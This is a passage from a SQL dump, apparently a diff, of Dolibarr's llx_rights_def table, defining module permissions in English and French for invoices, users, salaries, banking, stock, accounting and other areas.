categories','categorie',1,'lire',NULL,'r',1,20,0),(242,'Creer/modifier les categories','categorie',1,'creer',NULL,'w',0,20,0),(243,'Supprimer les categories','categorie',1,'supprimer',NULL,'d',0,20,0),(251,'Read information of other users, groups and permissions','user',1,'user','lire','r',0,0,0),(252,'Read permissions of other users','user',1,'user_advance','readperms','r',0,0,0),(253,'Create/modify internal and external users, groups and permissions','user',1,'user','creer','w',0,0,0),(254,'Create/modify external users only','user',1,'user_advance','write','w',0,0,0),(255,'Modify the password of other users','user',1,'user','password','w',0,0,0),(256,'Delete or disable other users','user',1,'user','supprimer','d',0,0,0),(262,'Read all third parties (and their objects) by internal users (otherwise only if commercial contact). Not effective for external users (limited to themselves).','societe',1,'client','voir','r',0,0,0),(262,'Consulter tous les tiers par utilisateurs internes (sinon uniquement si contact commercial). Non effectif pour utilisateurs externes (tjs limités à eux-meme).','societe',2,'client','voir','r',1,9,0),(281,'Read contacts','societe',1,'contact','lire','r',0,0,0),(281,'Lire les contacts','societe',2,'contact','lire','r',1,9,0),(282,'Create and update contact','societe',1,'contact','creer','w',0,0,0),(282,'Creer modifier les contacts','societe',2,'contact','creer','w',0,9,0),(283,'Delete contacts','societe',1,'contact','supprimer','d',0,0,0),(283,'Supprimer les contacts','societe',2,'contact','supprimer','d',0,9,0),(286,'Export contacts','societe',1,'contact','export','d',0,0,0),(286,'Exporter les contacts','societe',2,'contact','export','d',0,9,0),(301,'Read barcodes','barcode',1,'lire_advance',NULL,'r',1,0,0),(302,'Create/modify barcodes','barcode',1,'creer_advance',NULL,'w',0,0,0),(331,'Lire les bookmarks','bookmark',1,'lire',NULL,'r',0,50,0),(332,'Creer/modifier les bookmarks','bookmark',1,'creer',NULL,'r',0,50,0),(333,'Supprimer les bookmarks','bookmark',1,'supprimer',NULL,'r',0,50,0),(341,'Read its own permissions','user',1,'self_advance','readperms','r',0,0,0),(342,'Create/modify of its own user','user',1,'self','creer','w',0,0,0),(343,'Modify its own password','user',1,'self','password','w',0,0,0),(344,'Modify its own permissions','user',1,'self_advance','writeperms','w',0,0,0),(351,'Read groups','user',1,'group_advance','read','r',0,0,0),(352,'Read permissions of groups','user',1,'group_advance','readperms','r',0,0,0),(353,'Create/modify groups and permissions','user',1,'group_advance','write','w',0,0,0),(354,'Delete groups','user',1,'group_advance','delete','d',0,0,0),(358,'Export all users','user',1,'user','export','r',0,0,0),(511,'Read employee salaries and payments (yours and your subordinates)','salaries',1,'read',NULL,'r',0,0,0),(512,'Create/modify payments of empoyee salaries','salaries',1,'write',NULL,'w',0,0,0),(514,'Delete payments of employee salary','salaries',1,'delete',NULL,'d',0,0,0),(517,'Read salaries and payments of all employees','salaries',1,'readall',NULL,'r',0,0,0),(519,'Export payments of employee salaries','salaries',1,'export',NULL,'r',0,0,0),(520,'Read loans','loan',1,'read',NULL,'r',0,50,0),(521,'Read loans','loan',1,'read',NULL,'r',0,50,0),(522,'Create/modify loans','loan',1,'write',NULL,'w',0,50,0),(524,'Delete loans','loan',1,'delete',NULL,'d',0,50,0),(525,'Access loan calculator','loan',1,'calc',NULL,'r',0,50,0),(527,'Export loans','loan',1,'export',NULL,'r',0,50,0),(531,'Read services','service',1,'lire',NULL,'r',0,0,0),(532,'Create/modify services','service',1,'creer',NULL,'w',0,0,0),(534,'Delete les services','service',1,'supprimer',NULL,'d',0,0,0),(538,'Export services','service',1,'export',NULL,'r',0,0,0),(561,'Read bank transfer payment orders','paymentbybanktransfer',1,'read',NULL,'r',0,52,0),(562,'Create/modify a bank transfer payment order','paymentbybanktransfer',1,'create',NULL,'w',0,52,0),(563,'Send/Transmit bank transfer payment order','paymentbybanktransfer',1,'send',NULL,'a',0,52,0),(564,'Record Debits/Rejects of bank transfer payment order','paymentbybanktransfer',1,'debit',NULL,'a',0,52,0),(610,'Read attributes of variants','variants',1,'read',NULL,'w',0,0,0),(611,'Create/Update attributes of variants','variants',1,'write',NULL,'w',0,0,0),(612,'Delete attributes of variants','variants',1,'delete',NULL,'w',0,0,0),(651,'Read bom of Bom','bom',1,'read',NULL,'w',0,0,0),(652,'Create/Update bom of Bom','bom',1,'write',NULL,'w',0,0,0),(653,'Delete bom of Bom','bom',1,'delete',NULL,'w',0,0,0),(661,'Read Manufacturing Order','mrp',1,'read',NULL,'w',0,0,0),(662,'Create/Update Manufacturing Order','mrp',1,'write',NULL,'w',0,0,0),(663,'Delete Manufacturing Order','mrp',1,'delete',NULL,'w',0,0,0),(701,'Lire les dons','don',1,'lire',NULL,'r',1,50,0),(701,'Lire les dons','don',2,'lire',NULL,'r',1,50,0),(702,'Creer/modifier les dons','don',1,'creer',NULL,'w',0,50,0),(702,'Creer/modifier les dons','don',2,'creer',NULL,'w',0,50,0),(703,'Supprimer les dons','don',1,'supprimer',NULL,'d',0,50,0),(703,'Supprimer les dons','don',2,'supprimer',NULL,'d',0,50,0),(750,'Read job positions to fill and candidatures','recruitment',1,'recruitmentjobposition','read','w',0,0,0),(751,'Create/Update job positions to fill and candidatures','recruitment',1,'recruitmentjobposition','write','w',0,0,0),(752,'Delete Job positions to fill and candidatures','recruitment',1,'recruitmentjobposition','delete','w',0,0,0),(771,'Read expense reports (yours and your subordinates)','expensereport',1,'lire',NULL,'r',0,0,0),(772,'Create/modify expense reports','expensereport',1,'creer',NULL,'w',0,0,0),(773,'Delete expense reports','expensereport',1,'supprimer',NULL,'d',0,0,0),(775,'Approve expense reports','expensereport',1,'approve',NULL,'w',0,0,0),(776,'Pay expense reports','expensereport',1,'to_paid',NULL,'w',0,0,0),(777,'Read expense reports of everybody','expensereport',1,'readall',NULL,'r',0,0,0),(778,'Create expense reports for everybody','expensereport',1,'writeall_advance',NULL,'w',0,0,0),(779,'Export expense reports','expensereport',1,'export',NULL,'r',0,0,0),(1001,'Lire les stocks','stock',1,'lire',NULL,'r',1,40,0),(1002,'Creer/Modifier les stocks','stock',1,'creer',NULL,'w',0,40,0),(1003,'Supprimer les stocks','stock',1,'supprimer',NULL,'d',0,40,0),(1004,'Lire mouvements de stocks','stock',1,'mouvement','lire','r',1,40,0),(1005,'Creer/modifier mouvements de stocks','stock',1,'mouvement','creer','w',0,40,0),(1011,'inventoryReadPermission','stock',1,'inventory_advance','read','w',0,39,0),(1012,'inventoryCreatePermission','stock',1,'inventory_advance','write','w',0,39,0),(1101,'Read delivery receipts','expedition',1,'delivery','lire','r',0,40,0),(1102,'Create/modify delivery receipts','expedition',1,'delivery','creer','w',0,40,0),(1104,'Validate delivery receipts','expedition',1,'delivery_advance','validate','d',0,40,0),(1109,'Delete delivery receipts','expedition',1,'delivery','supprimer','d',0,40,0),(1121,'Read supplier proposals','supplier_proposal',1,'lire',NULL,'w',0,35,0),(1122,'Create/modify supplier proposals','supplier_proposal',1,'creer',NULL,'w',0,35,0),(1123,'Validate supplier proposals','supplier_proposal',1,'validate_advance',NULL,'w',0,35,0),(1124,'Envoyer les demandes fournisseurs','supplier_proposal',1,'send_advance',NULL,'w',0,35,0),(1125,'Delete supplier proposals','supplier_proposal',1,'supprimer',NULL,'w',0,35,0),(1126,'Close supplier price requests','supplier_proposal',1,'cloturer',NULL,'w',0,35,0),(1181,'Consulter les fournisseurs','fournisseur',1,'lire',NULL,'r',0,0,0),(1182,'Consulter les commandes fournisseur','fournisseur',1,'commande','lire','r',0,0,0),(1183,'Creer une commande fournisseur','fournisseur',1,'commande','creer','w',0,0,0),(1184,'Valider une commande fournisseur','fournisseur',1,'supplier_order_advance','validate','w',0,0,0),(1185,'Approuver une commande fournisseur','fournisseur',1,'commande','approuver','w',0,0,0),(1186,'Commander une commande fournisseur','fournisseur',1,'commande','commander','w',0,0,0),(1187,'Receptionner une commande fournisseur','fournisseur',1,'commande','receptionner','d',0,0,0),(1188,'Supprimer une commande fournisseur','fournisseur',1,'commande','supprimer','d',0,0,0),(1189,'Check/Uncheck a supplier order reception','fournisseur',1,'commande_advance','check','w',0,0,0),(1191,'Exporter les commande fournisseurs, attributs','fournisseur',1,'commande','export','r',0,0,0),(1201,'Lire les exports','export',1,'lire',NULL,'r',1,72,0),(1202,'Creer/modifier un export','export',1,'creer',NULL,'w',0,72,0),(1231,'Consulter les factures fournisseur','fournisseur',1,'facture','lire','r',0,0,0),(1232,'Creer une facture fournisseur','fournisseur',1,'facture','creer','w',0,0,0),(1233,'Valider une facture fournisseur','fournisseur',1,'supplier_invoice_advance','validate','w',0,0,0),(1234,'Supprimer une facture fournisseur','fournisseur',1,'facture','supprimer','d',0,0,0),(1235,'Envoyer les factures par mail','fournisseur',1,'supplier_invoice_advance','send','a',0,0,0),(1236,'Exporter les factures fournisseurs, attributs et reglements','fournisseur',1,'facture','export','r',0,0,0),(1251,'Run mass imports of external data (data load)','import',1,'run',NULL,'r',0,70,0),(1321,'Export customer invoices, attributes and payments','facture',1,'facture','export','r',0,0,0),(1321,'Exporter les factures clients, attributs et reglements','facture',2,'facture','export','r',0,10,0),(1322,'Re-open a fully paid invoice','facture',1,'invoice_advance','reopen','r',0,0,0),(1421,'Export sales orders and attributes','commande',1,'commande','export','r',0,0,0),(2401,'Read actions/tasks linked to his account','agenda',1,'myactions','read','r',0,0,0),(2401,'Read actions/tasks linked to his account','agenda',2,'myactions','read','r',1,15,0),(2402,'Create/modify actions/tasks linked to his account','agenda',1,'myactions','create','w',0,0,0),(2402,'Create/modify actions/tasks linked to his account','agenda',2,'myactions','create','w',0,15,0),(2403,'Delete actions/tasks linked to his account','agenda',1,'myactions','delete','w',0,0,0),(2403,'Delete actions/tasks linked to his account','agenda',2,'myactions','delete','w',0,15,0),(2411,'Read actions/tasks of others','agenda',1,'allactions','read','r',0,0,0),(2411,'Read actions/tasks of others','agenda',2,'allactions','read','r',0,15,0),(2412,'Create/modify actions/tasks of others','agenda',1,'allactions','create','w',0,0,0),(2412,'Create/modify actions/tasks of others','agenda',2,'allactions','create','w',0,15,0),(2413,'Delete actions/tasks of others','agenda',1,'allactions','delete','w',0,0,0),(2413,'Delete actions/tasks of others','agenda',2,'allactions','delete','w',0,15,0),(2414,'Export actions/tasks of others','agenda',1,'export',NULL,'w',0,0,0),(2501,'Read or download documents','ecm',1,'read',NULL,'r',0,0,0),(2503,'Upload a document','ecm',1,'upload',NULL,'w',0,0,0),(2515,'Administer directories of documents','ecm',1,'setup',NULL,'w',0,0,0),(2610,'Générer / modifier la clé API des utilisateurs','api',1,'apikey','generate','w',0,24,0),(3201,'Read archived events and fingerprints','blockedlog',1,'read',NULL,'w',0,76,0),(10001,'Read website content','website',1,'read',NULL,'w',0,0,0),(10002,'Create/modify website content (html and javascript content)','website',1,'write',NULL,'w',0,0,0),(10003,'Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers.','website',1,'writephp',NULL,'w',0,0,0),(10005,'Delete website content','website',1,'delete',NULL,'w',0,0,0),(10008,'Export website content','website',1,'export',NULL,'w',0,0,0),(20001,'Read leave requests (yours and your subordinates)','holiday',1,'read',NULL,'w',0,0,0),(20001,'Créer / Modifier / Lire ses demandes de congés payés','holiday',2,'write',NULL,'w',1,42,0),(20002,'Create/modify leave requests','holiday',1,'write',NULL,'w',0,0,0),(20003,'Delete leave requests','holiday',1,'delete',NULL,'w',0,0,0),(20003,'Supprimer des demandes de congés payés','holiday',2,'delete',NULL,'w',0,42,0),(20004,'Read leave requests for everybody','holiday',1,'readall',NULL,'w',0,0,0),(20004,'Définir les congés payés des utilisateurs','holiday',2,'define_holiday',NULL,'w',0,42,0),(20005,'Create/modify leave requests for everybody','holiday',1,'writeall',NULL,'w',0,0,0),(20005,'Voir les logs de modification des congés payés','holiday',2,'view_log',NULL,'w',0,42,0),(20006,'Setup leave requests of users (setup and update balance)','holiday',1,'define_holiday',NULL,'w',0,0,0),(20006,'Accéder au rapport mensuel des congés payés','holiday',2,'month_report',NULL,'w',0,42,0),(20007,'Approve leave requests','holiday',1,'approve',NULL,'w',0,0,0),(23001,'Read cron jobs','cron',1,'read',NULL,'w',0,0,0),(23002,'Create cron Jobs','cron',1,'create',NULL,'w',0,0,0),(23003,'Delete cron Jobs','cron',1,'delete',NULL,'w',0,0,0),(23004,'Execute cron Jobs','cron',1,'execute',NULL,'w',0,0,0),(50151,'Use Point Of Sale (record a sale, add products, record payment)','takepos',1,'run',NULL,'a',0,0,0),(50152,'Can modify added sales lines (prices, discount)','takepos',1,'editlines',NULL,'a',0,0,0),(50153,'Edit ordered sales lines (useful only when option \"Order printers\" has been enabled). Allow to edit sales lines even after the order has been printed','takepos',1,'editorderedlines',NULL,'a',0,0,0),(50401,'Bind products and invoices with accounting accounts','accounting',1,'bind','write','r',0,61,0),(50411,'Read operations in General Ledger','accounting',1,'mouvements','lire','r',0,61,0),(50412,'Write/Edit operations in General Ledger','accounting',1,'mouvements','creer','w',0,61,0),(50414,'Delete operations in Ledger','accounting',1,'mouvements','supprimer','d',0,61,0),(50415,'Delete all operations by year and journal in Ledger','accounting',1,'mouvements','supprimer_tous','d',0,61,0),(50418,'Export operations of the Ledger','accounting',1,'mouvements','export','r',0,61,0),(50420,'Report and export reports (turnover, balance, journals, general ledger)','accounting',1,'comptarapport','lire','r',0,61,0),(50430,'Define and close a fiscal year','accounting',1,'fiscalyear','write','r',0,61,0),(50440,'Manage chart of accounts, setup of accountancy','accounting',1,'chartofaccount',NULL,'r',0,61,0),(55001,'Read surveys','opensurvey',1,'read',NULL,'r',0,0,0),(55002,'Create/modify surveys','opensurvey',1,'write',NULL,'w',0,0,0),(56001,'Read ticket','ticket',1,'read',NULL,'r',0,0,0),(56002,'Create les tickets','ticket',1,'write',NULL,'w',0,0,0),(56003,'Delete les tickets','ticket',1,'delete',NULL,'d',0,0,0),(56004,'Manage tickets','ticket',1,'manage',NULL,'w',0,0,0),(57001,'Read articles','knowledgemanagement',1,'knowledgerecord','read','w',0,90,0),(57002,'Create/Update articles','knowledgemanagement',1,'knowledgerecord','write','w',0,90,0),(57003,'Delete articles','knowledgemanagement',1,'knowledgerecord','delete','w',0,90,0),(59001,'Visualiser les marges','margins',1,'liretous',NULL,'r',0,55,0),(59002,'Définir les marges','margins',1,'creer',NULL,'w',0,55,0),(59003,'Read every user margin','margins',1,'read','all','r',0,55,0),(63001,'Read resources','resource',1,'read',NULL,'w',0,16,0),(63002,'Create/Modify resources','resource',1,'write',NULL,'w',0,16,0),(63003,'Delete resources','resource',1,'delete',NULL,'w',0,16,0),(63004,'Link resources to agenda events','resource',1,'link',NULL,'w',0,16,0),(64001,'DirectPrint','printing',1,'read',NULL,'r',0,52,0),(101250,'Read surveys','opensurvey',2,'survey','read','r',0,40,0),(101251,'Create/modify surveys','opensurvey',2,'survey','write','w',0,40,0),(941601,'Lire les receptions','reception',1,'lire',NULL,'r',0,40,0),(941602,'Creer modifier les receptions','reception',1,'creer',NULL,'w',0,40,0),(941603,'Valider les receptions','reception',1,'reception_advance','validate','d',0,40,0),(941604,'Envoyer les receptions aux clients','reception',1,'reception_advance','send','d',0,40,0),(941605,'Exporter les receptions','reception',1,'reception','export','r',0,40,0),(941606,'Supprimer les receptions','reception',1,'supprimer',NULL,'d',0,40,0); +INSERT INTO `llx_rights_def` VALUES (11,'Read invoices','facture',1,'lire',NULL,'a',0,11,0,'2023-01-14 12:09:53'),(11,'Lire les factures','facture',2,'lire',NULL,'a',1,10,0,'2022-12-11 21:23:36'),(12,'Create and update invoices','facture',1,'creer',NULL,'a',0,11,0,'2023-01-14 12:09:53'),(12,'Creer/modifier les factures','facture',2,'creer',NULL,'a',0,10,0,'2022-12-11 21:23:36'),(13,'Devalidate invoices','facture',1,'invoice_advance','unvalidate','a',0,11,0,'2023-01-14 12:09:53'),(13,'Dévalider les factures','facture',2,'invoice_advance','unvalidate','a',0,10,0,'2022-12-11 21:23:36'),(14,'Validate invoices','facture',1,'invoice_advance','validate','a',0,11,0,'2023-01-14 12:09:53'),(14,'Valider les factures','facture',2,'valider',NULL,'a',0,10,0,'2022-12-11 21:23:36'),(15,'Send invoices by email','facture',1,'invoice_advance','send','a',0,11,0,'2023-01-14 12:09:53'),(15,'Envoyer les factures par mail','facture',2,'invoice_advance','send','a',0,10,0,'2022-12-11 21:23:36'),(16,'Issue payments on invoices','facture',1,'paiement',NULL,'a',0,11,0,'2023-01-14 12:09:53'),(16,'Emettre des paiements sur les factures','facture',2,'paiement',NULL,'a',0,10,0,'2022-12-11 21:23:36'),(19,'Delete invoices','facture',1,'supprimer',NULL,'a',0,11,0,'2023-01-14 12:09:53'),(19,'Supprimer les factures','facture',2,'supprimer',NULL,'a',0,10,0,'2022-12-11 21:23:36'),(21,'Lire les propositions commerciales','propale',1,'lire',NULL,'r',1,22,0,'2022-12-11 21:23:36'),(21,'Lire les propositions commerciales','propale',2,'lire',NULL,'r',1,22,0,'2022-12-11 21:23:36'),(22,'Creer/modifier les propositions commerciales','propale',1,'creer',NULL,'w',0,22,0,'2022-12-11 21:23:36'),(22,'Creer/modifier les propositions commerciales','propale',2,'creer',NULL,'w',0,22,0,'2022-12-11 21:23:36'),(24,'Valider les propositions commerciales','propale',1,'propal_advance','validate','d',0,22,0,'2022-12-11 21:23:36'),(24,'Valider les propositions commerciales','propale',2,'valider',NULL,'d',0,22,0,'2022-12-11 21:23:36'),(25,'Envoyer les propositions commerciales aux clients','propale',1,'propal_advance','send','d',0,22,0,'2022-12-11 21:23:36'),(25,'Envoyer les propositions commerciales aux clients','propale',2,'propal_advance','send','d',0,22,0,'2022-12-11 21:23:36'),(26,'Cloturer les propositions commerciales','propale',1,'propal_advance','close','d',0,22,0,'2022-12-11 21:23:36'),(26,'Cloturer les propositions commerciales','propale',2,'propal_advance','close','d',0,22,0,'2022-12-11 21:23:36'),(27,'Supprimer les propositions commerciales','propale',1,'supprimer',NULL,'d',0,22,0,'2022-12-11 21:23:36'),(27,'Supprimer les propositions commerciales','propale',2,'supprimer',NULL,'d',0,22,0,'2022-12-11 21:23:36'),(28,'Exporter les propositions commerciales et attributs','propale',1,'export',NULL,'r',0,22,0,'2022-12-11 21:23:36'),(28,'Exporter les propositions commerciales et attributs','propale',2,'export',NULL,'r',0,22,0,'2022-12-11 21:23:36'),(31,'Lire les produits','produit',1,'lire',NULL,'r',1,25,0,'2022-12-11 21:23:36'),(31,'Lire les produits','produit',2,'lire',NULL,'r',1,25,0,'2022-12-11 21:23:36'),(32,'Creer/modifier les produits','produit',1,'creer',NULL,'w',0,25,0,'2022-12-11 21:23:36'),(32,'Creer/modifier les produits','produit',2,'creer',NULL,'w',0,25,0,'2022-12-11 21:23:36'),(33,'Read prices products','produit',1,'product_advance','read_prices','w',0,26,0,'2022-12-13 11:09:29'),(34,'Supprimer les produits','produit',1,'supprimer',NULL,'d',0,25,0,'2022-12-11 21:23:36'),(34,'Supprimer les produits','produit',2,'supprimer',NULL,'d',0,25,0,'2022-12-11 21:23:36'),(38,'Exporter les produits','produit',1,'export',NULL,'r',0,25,0,'2022-12-11 21:23:36'),(38,'Exporter les produits','produit',2,'export',NULL,'r',0,25,0,'2022-12-11 21:23:36'),(39,'Ignore minimum price','produit',1,'ignore_price_min_advance',NULL,'r',0,25,0,'2022-12-11 21:23:36'),(41,'Read projects and tasks (shared projects or projects I am contact for). Can also enter time consumed on assigned tasks (timesheet)','projet',1,'lire',NULL,'r',1,14,0,'2022-12-11 21:23:36'),(42,'Create/modify projects and tasks (shared projects or projects I am contact for)','projet',1,'creer',NULL,'w',0,14,0,'2022-12-11 21:23:36'),(44,'Delete project and tasks (shared projects or projects I am contact for)','projet',1,'supprimer',NULL,'d',0,14,0,'2022-12-11 21:23:36'),(45,'Export projects','projet',1,'export',NULL,'d',0,14,0,'2022-12-11 21:23:36'),(61,'Lire les fiches d\'intervention','ficheinter',1,'lire',NULL,'r',1,41,0,'2022-12-11 21:23:36'),(62,'Creer/modifier les fiches d\'intervention','ficheinter',1,'creer',NULL,'w',0,41,0,'2022-12-11 21:23:36'),(64,'Supprimer les fiches d\'intervention','ficheinter',1,'supprimer',NULL,'d',0,41,0,'2022-12-11 21:23:36'),(67,'Exporter les fiches interventions','ficheinter',1,'export',NULL,'r',0,41,0,'2022-12-11 21:23:36'),(68,'Envoyer les fiches d\'intervention par courriel','ficheinter',1,'ficheinter_advance','send','r',0,41,0,'2022-12-11 21:23:36'),(69,'Valider les fiches d\'intervention ','ficheinter',1,'ficheinter_advance','validate','a',0,41,0,'2022-12-11 21:23:36'),(70,'Dévalider les fiches d\'intervention','ficheinter',1,'ficheinter_advance','unvalidate','a',0,41,0,'2022-12-11 21:23:36'),(71,'Read members\' card','adherent',1,'lire',NULL,'r',0,55,0,'2022-12-11 21:23:36'),(72,'Create/modify members (need also user module permissions if member linked to a user)','adherent',1,'creer',NULL,'w',0,55,0,'2022-12-11 21:23:36'),(74,'Remove members','adherent',1,'supprimer',NULL,'d',0,55,0,'2022-12-11 21:23:36'),(75,'Setup types of membership','adherent',1,'configurer',NULL,'w',0,55,0,'2022-12-11 21:23:36'),(76,'Export members','adherent',1,'export',NULL,'r',0,55,0,'2022-12-11 21:23:36'),(78,'Read subscriptions','adherent',1,'cotisation','lire','r',0,55,0,'2022-12-11 21:23:36'),(79,'Create/modify/remove subscriptions','adherent',1,'cotisation','creer','w',0,55,0,'2022-12-11 21:23:36'),(81,'Read sales orders','commande',1,'lire',NULL,'r',0,11,0,'2023-01-14 12:09:53'),(82,'Creeat/modify sales orders','commande',1,'creer',NULL,'w',0,11,0,'2023-01-14 12:09:53'),(84,'Validate sales orders','commande',1,'order_advance','validate','d',0,11,0,'2023-01-14 12:09:53'),(85,'Generate the documents sales orders','commande',1,'order_advance','generetedoc','d',0,11,0,'2023-01-14 12:09:53'),(86,'Send sales orders by email','commande',1,'order_advance','send','d',0,11,0,'2023-01-14 12:09:53'),(87,'Close sale orders','commande',1,'order_advance','close','d',0,11,0,'2023-01-14 12:09:53'),(88,'Cancel sale orders','commande',1,'order_advance','annuler','d',0,11,0,'2023-01-14 12:09:53'),(89,'Delete sales orders','commande',1,'supprimer',NULL,'d',0,11,0,'2023-01-14 12:09:53'),(91,'Lire les charges','tax',1,'charges','lire','r',0,50,0,'2022-12-11 21:23:36'),(91,'Lire les charges','tax',2,'charges','lire','r',1,50,0,'2022-12-11 21:23:36'),(92,'Creer/modifier les charges','tax',1,'charges','creer','w',0,50,0,'2022-12-11 21:23:36'),(92,'Creer/modifier les charges','tax',2,'charges','creer','w',0,50,0,'2022-12-11 21:23:36'),(93,'Supprimer les charges','tax',1,'charges','supprimer','d',0,50,0,'2022-12-11 21:23:36'),(93,'Supprimer les charges','tax',2,'charges','supprimer','d',0,50,0,'2022-12-11 21:23:36'),(94,'Exporter les charges','tax',1,'charges','export','r',0,50,0,'2022-12-11 21:23:36'),(94,'Exporter les charges','tax',2,'charges','export','r',0,50,0,'2022-12-11 21:23:36'),(101,'Lire les expeditions','expedition',1,'lire',NULL,'r',0,40,0,'2022-12-11 21:23:36'),(102,'Creer modifier les expeditions','expedition',1,'creer',NULL,'w',0,40,0,'2022-12-11 21:23:36'),(104,'Valider les expeditions','expedition',1,'shipping_advance','validate','d',0,40,0,'2022-12-11 21:23:36'),(105,'Envoyer les expeditions aux clients','expedition',1,'shipping_advance','send','d',0,40,0,'2022-12-11 21:23:36'),(106,'Exporter les expeditions','expedition',1,'shipment','export','r',0,40,0,'2022-12-11 21:23:36'),(109,'Supprimer les expeditions','expedition',1,'supprimer',NULL,'d',0,40,0,'2022-12-11 21:23:36'),(111,'Read bank account and transactions','banque',1,'lire',NULL,'r',0,51,0,'2023-01-14 12:09:53'),(111,'Lire les comptes bancaires','banque',2,'lire',NULL,'r',1,51,0,'2022-12-11 21:23:36'),(112,'Creer/modifier montant/supprimer ecriture bancaire','banque',1,'modifier',NULL,'w',0,51,0,'2023-01-14 12:09:53'),(112,'Creer/modifier montant/supprimer ecriture bancaire','banque',2,'modifier',NULL,'w',0,51,0,'2022-12-11 21:23:36'),(113,'Configurer les comptes bancaires (creer, gerer categories)','banque',1,'configurer',NULL,'a',0,51,0,'2023-01-14 12:09:53'),(113,'Configurer les comptes bancaires (creer, gerer categories)','banque',2,'configurer',NULL,'a',0,51,0,'2022-12-11 21:23:36'),(114,'Rapprocher les ecritures bancaires','banque',1,'consolidate',NULL,'w',0,51,0,'2023-01-14 12:09:53'),(114,'Rapprocher les ecritures bancaires','banque',2,'consolidate',NULL,'w',0,51,0,'2022-12-11 21:23:36'),(115,'Exporter transactions et releves','banque',1,'export',NULL,'r',0,51,0,'2023-01-14 12:09:53'),(115,'Exporter transactions et releves','banque',2,'export',NULL,'r',0,51,0,'2022-12-11 21:23:36'),(116,'Virements entre comptes','banque',1,'transfer',NULL,'w',0,51,0,'2023-01-14 12:09:53'),(116,'Virements entre comptes','banque',2,'transfer',NULL,'w',0,51,0,'2022-12-11 21:23:36'),(117,'Gerer les envois de cheques','banque',1,'cheque',NULL,'w',0,51,0,'2023-01-14 12:09:53'),(117,'Gerer les envois de cheques','banque',2,'cheque',NULL,'w',0,51,0,'2022-12-11 21:23:36'),(121,'Read third parties','societe',1,'lire',NULL,'r',0,9,0,'2023-01-14 12:09:53'),(121,'Lire les societes','societe',2,'lire',NULL,'r',1,9,0,'2022-12-11 21:23:36'),(122,'Create and update third parties','societe',1,'creer',NULL,'w',0,9,0,'2023-01-14 12:09:53'),(122,'Creer modifier les societes','societe',2,'creer',NULL,'w',0,9,0,'2022-12-11 21:23:36'),(125,'Delete third parties','societe',1,'supprimer',NULL,'d',0,9,0,'2023-01-14 12:09:53'),(125,'Supprimer les societes','societe',2,'supprimer',NULL,'d',0,9,0,'2022-12-11 21:23:36'),(126,'Export third parties','societe',1,'export',NULL,'r',0,9,0,'2023-01-14 12:09:53'),(126,'Exporter les societes','societe',2,'export',NULL,'r',0,9,0,'2022-12-11 21:23:36'),(130,'Modify thirdparty information payment','societe',1,'thirdparty_paymentinformation_advance','write','w',0,9,0,'2023-01-14 12:09:53'),(141,'Read all projects and tasks (also private projects I am not contact for)','projet',1,'all','lire','r',0,14,0,'2022-12-11 21:23:36'),(142,'Create/modify all projects and tasks (also private projects I am not contact for)','projet',1,'all','creer','w',0,14,0,'2022-12-11 21:23:36'),(144,'Delete all projects and tasks (also private projects I am not contact for)','projet',1,'all','supprimer','d',0,14,0,'2022-12-11 21:23:36'),(145,'Can enter time consumed on assigned tasks (timesheet)','projet',1,'time',NULL,'w',0,14,0,'2022-12-12 09:00:28'),(151,'Read withdrawals','prelevement',1,'bons','lire','r',1,52,0,'2022-12-11 21:23:36'),(152,'Create/modify a withdrawals','prelevement',1,'bons','creer','w',0,52,0,'2022-12-11 21:23:36'),(153,'Send withdrawals to bank','prelevement',1,'bons','send','a',0,52,0,'2022-12-11 21:23:36'),(154,'credit/refuse withdrawals','prelevement',1,'bons','credit','a',0,52,0,'2022-12-11 21:23:36'),(161,'Lire les contrats','contrat',1,'lire',NULL,'r',1,35,0,'2022-12-11 21:23:36'),(162,'Creer / modifier les contrats','contrat',1,'creer',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(163,'Activer un service d\'un contrat','contrat',1,'activer',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(164,'Desactiver un service d\'un contrat','contrat',1,'desactiver',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(165,'Supprimer un contrat','contrat',1,'supprimer',NULL,'d',0,35,0,'2022-12-11 21:23:36'),(167,'Export contracts','contrat',1,'export',NULL,'r',0,35,0,'2022-12-11 21:23:36'),(221,'Consulter les mailings','mailing',1,'lire',NULL,'r',0,23,0,'2023-02-25 14:20:31'),(221,'Consulter les mailings','mailing',2,'lire',NULL,'r',1,11,0,'2022-12-11 21:23:36'),(222,'Creer/modifier les mailings (sujet, destinataires...)','mailing',1,'creer',NULL,'w',0,23,0,'2023-02-25 14:20:31'),(222,'Creer/modifier les mailings (sujet, destinataires...)','mailing',2,'creer',NULL,'w',0,11,0,'2022-12-11 21:23:36'),(223,'Valider les mailings (permet leur envoi)','mailing',1,'valider',NULL,'w',0,23,0,'2023-02-25 14:20:31'),(223,'Valider les mailings (permet leur envoi)','mailing',2,'valider',NULL,'w',0,11,0,'2022-12-11 21:23:36'),(229,'Supprimer les mailings','mailing',1,'supprimer',NULL,'d',0,23,0,'2023-02-25 14:20:31'),(229,'Supprimer les mailings','mailing',2,'supprimer',NULL,'d',0,11,0,'2022-12-11 21:23:36'),(237,'View recipients and info','mailing',1,'mailing_advance','recipient','r',0,23,0,'2023-02-25 14:20:31'),(237,'View recipients and info','mailing',2,'mailing_advance','recipient','r',0,11,0,'2022-12-11 21:23:36'),(238,'Manually send mailings','mailing',1,'mailing_advance','send','w',0,23,0,'2023-02-25 14:20:31'),(238,'Manually send mailings','mailing',2,'mailing_advance','send','w',0,11,0,'2022-12-11 21:23:36'),(239,'Delete mailings after validation and/or sent','mailing',1,'mailing_advance','delete','d',0,23,0,'2023-02-25 14:20:31'),(239,'Delete mailings after validation and/or sent','mailing',2,'mailing_advance','delete','d',0,11,0,'2022-12-11 21:23:36'),(241,'Lire les categories','categorie',1,'lire',NULL,'r',1,20,0,'2022-12-11 21:23:36'),(242,'Creer/modifier les categories','categorie',1,'creer',NULL,'w',0,20,0,'2022-12-11 21:23:36'),(243,'Supprimer les categories','categorie',1,'supprimer',NULL,'d',0,20,0,'2022-12-11 21:23:36'),(251,'Read information of other users, groups and permissions','user',1,'user','lire','r',0,5,0,'2023-01-14 12:09:53'),(252,'Read permissions of other users','user',1,'user_advance','readperms','r',0,5,0,'2023-01-14 12:09:53'),(253,'Create/modify internal and external users, groups and permissions','user',1,'user','creer','w',0,5,0,'2023-01-14 12:09:53'),(254,'Create/modify external users only','user',1,'user_advance','write','w',0,5,0,'2023-01-14 12:09:53'),(255,'Modify the password of other 